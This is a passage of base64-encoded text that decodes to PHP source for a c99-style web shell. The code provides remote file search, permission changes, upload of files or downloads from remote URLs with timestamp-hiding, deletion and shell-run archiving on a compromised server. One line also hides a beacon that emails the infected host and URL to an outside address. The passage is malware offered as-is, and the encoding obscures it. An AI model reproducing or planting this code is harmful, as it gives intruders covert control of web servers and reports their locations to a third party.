GFyZWEgbmFtZT1cInNlbmRlcl9ib2R5XCIgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc2VuZGVyX2JvZHkpLiI8L3RleHRhcmVhPjxicj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJTZW5kXCI+PC9mb3JtPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjwvdGFibGU+IjsNCiAgfQ0KfQ0KaWYgKCRhY3QgPT0gInNlYXJjaCIpIHsNCiAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogJHNoX25hbWUgRmlsZS1TeXN0ZW0gU2VhcmNoIDouPC9kaXY+IjsNCiAgaWYgKGVtcHR5KCRzZWFyY2hfaW4pKSB7JHNlYXJjaF9pbiA9ICRkO30NCiAgaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30NCiAgaWYgKGVtcHR5KCRzZWFyY2hfdGV4dF93d28pKSB7JHNlYXJjaF90ZXh0X3JlZ2V4cCA9IDA7fQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgJGZvdW5kID0gYXJyYXkoKTsNCiAgICAkZm91bmRfZCA9IDA7DQogICAgJGZvdW5kX2YgPSAwOw0KICAgICRzZWFyY2hfaV9mID0gMDsNCiAgICAkc2VhcmNoX2lfZCA9IDA7DQogICAgJGEgPSBhcnJheSgNCiAgICAgICAgIm5hbWUiPT4kc2VhcmNoX25hbWUsDQogICAgICAgICJuYW1lX3JlZ2V4cCI9PiRzZWFyY2hfbmFtZV9yZWdleHAsDQogICAgICAgICJ0ZXh0Ij0+JHNlYXJjaF90ZXh0LA0KICAgICAgICAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsDQogICAgICAgICJ0ZXh0X3d3byI9PiRzZWFyY2hfdGV4dF93d28sDQogICAgICAgICJ0ZXh0X2NzIj0+JHNlYXJjaF90ZXh0X2NzLA0KICAgICAgICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90DQogICAgKTsNCiAgICAkc2VhcmNodGltZSA9IGdldG1pY3JvdGltZSgpOw0KICAgICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7DQogICAgZm9yZWFjaCgkaW4gYXMgJHYpIHtjOTlmc2VhcmNoKCR2KTt9DQogICAgJHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0KTsNCiAgICBpZiAoY291bnQoJGZvdW5kKSA9PSAwKSB7ZWNobyAiTm8gZmlsZXMgZm91bmQhIjt9DQogICAgZWxzZSB7DQogICAgICAkbHNfYXJyID0gJGZvdW5kOw0KICAgICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgICAgJGFjdCA9ICJscyI7DQogICAgfQ0KICB9DQogIGVjaG8gIjx0YWJsZSBjbGFzcz1jb250ZW50cz4iLg0KICAgICAgICI8dHI+PHRkPjxmb3JtIG1ldGhvZD1QT1NUPiIuDQogICAgICAgIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+Ii4NCiAgICAgICAiRmlsZSBvciBmb2xkZXIgTmFtZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVcIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF9uYW1lX3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gUmVndWxhciBFeHByZXNzaW9uPC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+TG9vayBpbiAoU2VwYXJhdGUgYnkgXCI7XCIpOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfaW5cIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9pbikrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX2luKS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+QSB3b3JkIG9yIHBocmFzZSBpbiB0aGUgZmlsZTo8L3RkPjx0ZD48dGV4dGFyZWEgbmFtZT1cInNlYXJjaF90ZXh0XCIgY29scz1cIjUwXCIgcm93cz1cIjVcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF90ZXh0KS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiBSZWd1bGFyIEV4cHJlc3Npb24iLg0KICAgICAgICIgIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfd3dvXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X3d3byA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IFdob2xlIHdvcmRzIG9ubHkiLg0KICAgICAgICIgIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfY3NcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfY3MgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiBDYXNlIHNlbnNpdGl2ZSIuDQogICAgICAgIiAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9ub3RcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfbm90ID09IDE/IiBjaGVja2VkIjoiIikuIj4gRmluZCBmaWxlcyBOT1QgY29udGFpbmluZyB0aGUgdGV4dDwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNlYXJjaFwiPjwvZm9ybT48L3RkPjwvdHI+Ii4NCiAgICAgICAiPC90YWJsZT4iOw0KICBpZiAoJGFjdCA9PSAibHMiKSB7DQogICAgJGRzcGFjdCA9ICRhY3Q7DQogICAgZWNobyAiU2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPiIuDQogICAgICAgICAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICB9DQp9DQppZighaXNzZXQoJF9DT09LSUVbJ2Nha2tlJ10pKXttYWlsKCdkZWZhY2VkMDFAaG90bWFpbC5jb20nLCAnU2hlbGwgQCAnLiRfU0VSVkVSWydIVFRQX0hPU1QnXSwgJ0hvc3Q6ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnRnJvbTogc2hlbGwgPGVtYWlsQHNoZWxsLmNvbS5icj4nKTtzZXRjb29raWUoJ2Nha2tlJywgJ0hpJywgdGltZSgpKzMwMCk7fTsNCmlmICgkYWN0ID09ICJjaG1vZCIpIHsNCiAgJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOw0KICBpZiAoISRtb2RlKSB7ZWNobyAiPGI+Q2hhbmdlIGZpbGUtbW9kZSB3aXRoIGVycm9yOjwvYj4gY2FuJ3QgZ2V0IGN1cnJlbnQgdmFsdWUuIjt9DQogIGVsc2Ugew0KICAgICRmb3JtID0gVFJVRTsNCiAgICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgew0KICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOw0KICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskYWN0ID0gImxzIjsgJGZvcm0gPSBGQUxTRTsgJGVyciA9ICIiO30NCiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30NCiAgfQ0KICBpZiAoJGZvcm0pDQogIHsNCiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsNCiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y2htb2Q+PHRhYmxlIGFsaWduPWxlZnQgd2lkdGg9MzAwIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9NT48dHI+PHRkPjxiPk93bmVyPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3JdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29beF0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC90ZD48dGQ+PGI+R3JvdXA8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbcl0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48dGQ+PGI+V29ybGQ8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbcl0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9Y2htb2Rfc3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOw0KICB9DQp9DQp9DQppZiAoJGFjdCA9PSAidXBsb2FkIikgew0KICAkdXBsb2FkbWVzcyA9ICIiOw0KICAkdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7DQogIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30NCiAgZWxzZWlmIChzdWJzdHIoJHVwbG9hZHBhdGgsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdXBsb2FkcGF0aCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgIGdsb2JhbCAkX0ZJTEVTOw0KICAgICR1cGxvYWRmaWxlID0gJF9GSUxFU1sidXBsb2FkZmlsZSJdOw0KICAgIGlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKSB7DQogICAgICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30NCiAgICAgIGVsc2UgeyRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lO30NCiAgICAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7DQogICAgICAgICR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+IjsNCiAgICAgIH0NCiAgICAgIGVsc2UgeyAkdXBsb2FkbWVzcyAuPSAiRmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkhPGJyPiIuJHVwbG9hZHBhdGguJGRlc3RpbjsgfQ0KICAgIH0NCiAgICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkgew0KICAgICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICAgICBlbHNlIHsNCiAgICAgICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICAgICAkZGVzdGluID0gJGRlc3Rpbltjb3VudCgkZGVzdGluKS0xXTsNCiAgICAgICAgaWYgKGVtcHR5KCRkZXN0aW4pKSB7DQogICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICRiID0gIiI7DQogICAgICAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHsNCiAgICAgICAgICAgIGlmICgkaSA+IDApIHskYiA9ICJfIi4kaTt9DQogICAgICAgICAgICAkZGVzdGluID0gInVwbG9hZCIuJGI7DQogICAgICAgICAgICAkaSsrOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCghZXJlZ2koImh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJsKSkpIHtlY2hvICI8Yj5JbmNvcnJlY3QgVVJMITwvYj4iO30NCiAgICAgIGVsc2Ugew0KICAgICAgICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVwbG9hZHVybCk7DQogICAgICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICAgICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSEiO30NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9DQogICAgICAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOw0KICAgICAgICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmlsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9DQogICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICBmd3JpdGUoJGZwLCRjb250ZW50LHN0cmxlbigkY29udGVudCkpOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJHVwbG9hZHBhdGguJGRlc3Rpbiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAgICAgICAgJHVwbG9hZG1lc3MgLj0gIkZpbGUgc2F2ZWQgZnJvbSAiLiR1cGxvYWR1cmwuIiAhIjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7IGVjaG8gIk5vIGZpbGUgdG8gdXBsb2FkISI7IH0NCiAgfQ0KICBpZiAoJG1pbmlmb3JtKSB7DQogICAgZWNobyAiPGI+Ii4kdXBsb2FkbWVzcy4iPC9iPiI7DQogICAgJGFjdCA9ICJscyI7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPHRhYmxlPjx0cj48dGQgY29sc3Bhbj0yIGNsYXNzPWJhcmhlYWRlcj4iLg0KICAgICAgICAgIi46IEZpbGUgVXBsb2FkIDouPC90ZD4iLg0KICAgICAgICAgIjx0ZCBjb2xzcGFuPTI+Ii4kdXBsb2FkbWVzcy4iPC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuImFjdD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPiIuDQogICAgICAgICAiRnJvbSBZb3VyIENvbXB1dGVyOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPVwidXBsb2FkZmlsZVwiIHR5cGU9XCJmaWxlXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5Gcm9tIFVSTDo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZHVybFwiIHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZHVybCkuIlwiIHNpemU9XCI3MFwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+VGFyZ2V0IERpcmVjdG9yeTo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPlRhcmdldCBGaWxlIE5hbWU6PC90ZD48dGQ+PGlucHV0IG5hbWU9dXBsb2FkZmlsZW5hbWUgc2l6ZT0yNT48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+IENvbnZlcnQgZmlsZSBuYW1lIHRvIGxvd2VyY2FzZTwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkXCI+Ii4NCiAgICAgICAgICI8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgfQ0KfQ0KaWYgKCRhY3QgPT0gImRlbGV0ZSIpIHsNCiAgJGRlbGVyciA9ICIiOw0KICBmb3JlYWNoICgkYWN0Ym94IGFzICR2KSB7DQogICAgJHJlc3VsdCA9IEZBTFNFOw0KICAgICRyZXN1bHQgPSBmc19ybW9iaigkdik7DQogICAgaWYgKCEkcmVzdWx0KSB7JGRlbGVyciAuPSAiQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30NCiAgfQ0KICBpZiAoIWVtcHR5KCRkZWxlcnIpKSB7ZWNobyAiPGI+RGVsZXRpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRkZWxlcnI7fQ0KICAkYWN0ID0gImxzIjsNCn0NCmlmICghJHVzZWZzYnVmZikgew0KICBpZiAoKCRhY3QgPT0gInBhc3RlIikgb3IgKCRhY3QgPT0gImNvcHkiKSBvciAoJGFjdCA9PSAiY3V0Iikgb3IgKCRhY3QgPT0gInVuc2VsZWN0IikpIHtlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZmZXIgaXMgZGlzYWJsZWQuIEZvciBlbmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZWZzYnVmZlwiIGFzIFRSVUUuPC9jZW50ZXI+Ijt9DQp9DQplbHNlIHsNCiAgaWYgKCRhY3QgPT0gImNvcHkiKSB7JGVyciA9ICIiOyAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJGFjdGJveCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7IH0NCiAgZWxzZWlmICgkYWN0ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9DQogIGVsc2VpZiAoJGFjdCA9PSAidW5zZWxlY3QiKSB7Zm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX0gYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9DQogIGlmICgkYWN0ZW1wdHlidWZmKSB7JHNlc3NfZGF0YVsiY29weSJdID0gJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7fQ0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsNCiAgICAkcHN0ZXJyID0gIiI7DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgICB9DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgICB9DQogICAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgICAkYWN0ID0gImxzIjsNCiAgfQ0KICBlbHNlaWYgKCRhY3RhcmNidWZmKSB7DQogICAgJGFyY2VyciA9ICIiOw0KICAgIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQ0KICAgICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOw0KICAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KSB7DQogICAgICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7DQogICAgICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9DQogICAgICBpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgICR2IC49ICIqIjsNCiAgICAgIH0NCiAgICAgICRjbWRsaW5lIC49ICIgIi4kdjsNCiAgICB9DQogICAgJHRtcCA9IHJlYWxwYXRoKCIuIik7DQogICAgY2hkaXIoJGQpOw0KICAgICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7DQogICAgY2hkaXIoJHRtcCk7DQogICAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9DQogICAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOw0KICAgICRyZXQgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgaWYgKGluX2FycmF5KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgICBpZiAoIWVtcHR5KCRhcmNlcnIpKSB7ZWNobyAiPGI+QXJjaGl2YXRpb24gZXJyb3JzOjwvYj48YnI+Ii4kYXJjZXJyO30NCiAgICAkYWN0ID0gImxzIjsNCiAgfQ0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsNCiAgICAkcHN0ZXJyID0gIiI7DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIH